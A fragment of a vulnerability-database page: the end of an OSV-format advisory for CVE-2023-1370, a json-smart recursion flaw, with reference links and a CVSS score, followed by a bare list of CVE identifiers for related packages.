      "url": "https://github.com/netplex/json-smart-v2/issues/137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/commit/5b3205d051952d3100aa0db1535f6ba6226bd87a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/commit/e2791ae506a57491bc856b439d706c81e45adcf8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oswaldobapvicjr/jsonmerge"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0006"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-1370"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "json-smart Uncontrolled Recursion vulnerability"
}

Vulnerability from cleanstart

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Nomenclature

Action not permitted

Vulnerability from cleanstart

CVE-2022-24823 (GCVE-0-2022-24823)

CVE-2026-1225 (GCVE-0-2026-1225)

CVE-2026-33870 (GCVE-0-2026-33870)

CVE-2023-2976 (GCVE-0-2023-2976)

CVE-2025-24860 (GCVE-0-2025-24860)

CVE-2024-47554 (GCVE-0-2024-47554)

CVE-2023-34462 (GCVE-0-2023-34462)

CVE-2024-12798 (GCVE-0-2024-12798)

CVE-2024-13009 (GCVE-0-2024-13009)

CVE-2026-33871 (GCVE-0-2026-33871)

CVE-2025-59419 (GCVE-0-2025-59419)

CVE-2023-34453 (GCVE-0-2023-34453)

CVE-2023-44487 (GCVE-0-2023-44487)

CVE-2025-23015 (GCVE-0-2025-23015)

CVE-2025-48924 (GCVE-0-2025-48924)

CVE-2023-43642 (GCVE-0-2023-43642)

CVE-2024-29025 (GCVE-0-2024-29025)

CVE-2022-41881 (GCVE-0-2022-41881)

CVE-2025-53864 (GCVE-0-2025-53864)

CVE-2025-24970 (GCVE-0-2025-24970)

CVE-2023-34455 (GCVE-0-2023-34455)

CVE-2024-35255 (GCVE-0-2024-35255)

CVE-2025-55163 (GCVE-0-2025-55163)

CVE-2025-58057 (GCVE-0-2025-58057)

CVE-2025-67735 (GCVE-0-2025-67735)

CVE-2025-25193 (GCVE-0-2025-25193)

CVE-2024-40094 (GCVE-0-2024-40094)

CVE-2023-52428 (GCVE-0-2023-52428)

CVE-2022-3171 (GCVE-0-2022-3171)

CVE-2023-34454 (GCVE-0-2023-34454)

CVE-2024-25638 (GCVE-0-2024-25638)

CVE-2024-6763 (GCVE-0-2024-6763)

CVE-2024-47535 (GCVE-0-2024-47535)

CVE-2024-12801 (GCVE-0-2024-12801)

CVE-2022-3509 (GCVE-0-2022-3509)

CVE-2024-27137 (GCVE-0-2024-27137)

CVE-2020-8908 (GCVE-0-2020-8908)

CVE-2024-21634 (GCVE-0-2024-21634)

CVE-2025-46392 (GCVE-0-2025-46392)

CVE-2021-41973 (GCVE-0-2021-41973)

CVE-2025-58056 (GCVE-0-2025-58056)

CVE-2023-1370 (GCVE-0-2023-1370)

CVE-2024-52046 (GCVE-0-2024-52046)

CVE-2024-7254 (GCVE-0-2024-7254)

CVE-2024-9823 (GCVE-0-2024-9823)

CVE-2022-3510 (GCVE-0-2022-3510)

CVE-2025-48734 (GCVE-0-2025-48734)

CVE-2024-8184 (GCVE-0-2024-8184)

CVE-2018-10237 (GCVE-0-2018-10237)

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Summary

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Impact

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MadeYouReset Vulnerability Summary

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